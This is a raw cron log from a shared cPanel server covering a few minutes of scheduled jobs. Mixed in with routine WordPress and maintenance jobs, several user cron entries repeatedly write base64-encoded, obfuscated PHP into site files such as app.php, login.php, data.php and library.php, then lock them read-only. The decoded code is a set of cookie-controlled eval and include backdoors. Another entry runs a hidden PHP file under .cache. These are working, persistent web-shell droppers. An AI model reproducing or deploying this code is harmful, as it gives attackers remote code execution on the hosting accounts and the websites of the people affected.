Mar  1 14:21:01 medusa CROND[3530]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:21:01 medusa CROND[3531]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:21:01 medusa CROND[3534]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:21:01 medusa CROND[3535]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:21:01 medusa CROND[3542]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:21:01 medusa CROND[3543]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:21:01 medusa CROND[3544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:21:01 medusa CROND[3546]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:21:01 medusa CROND[3564]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:22:01 medusa CROND[28441]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:22:01 medusa CROND[28440]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:22:01 medusa CROND[28442]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:22:01 medusa CROND[28443]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:22:01 medusa CROND[28444]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:22:01 medusa CROND[28445]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:22:01 medusa CROND[28446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:22:01 medusa CROND[28450]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:22:01 medusa CROND[28451]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:22:01 medusa CROND[28452]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:22:01 medusa CROND[28454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:22:01 medusa CROND[28455]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:22:01 medusa CROND[28453]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:22:01 medusa CROND[28456]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 14:23:01 medusa CROND[20995]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:23:01 medusa CROND[20996]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:23:01 medusa CROND[20997]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:23:01 medusa CROND[20998]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
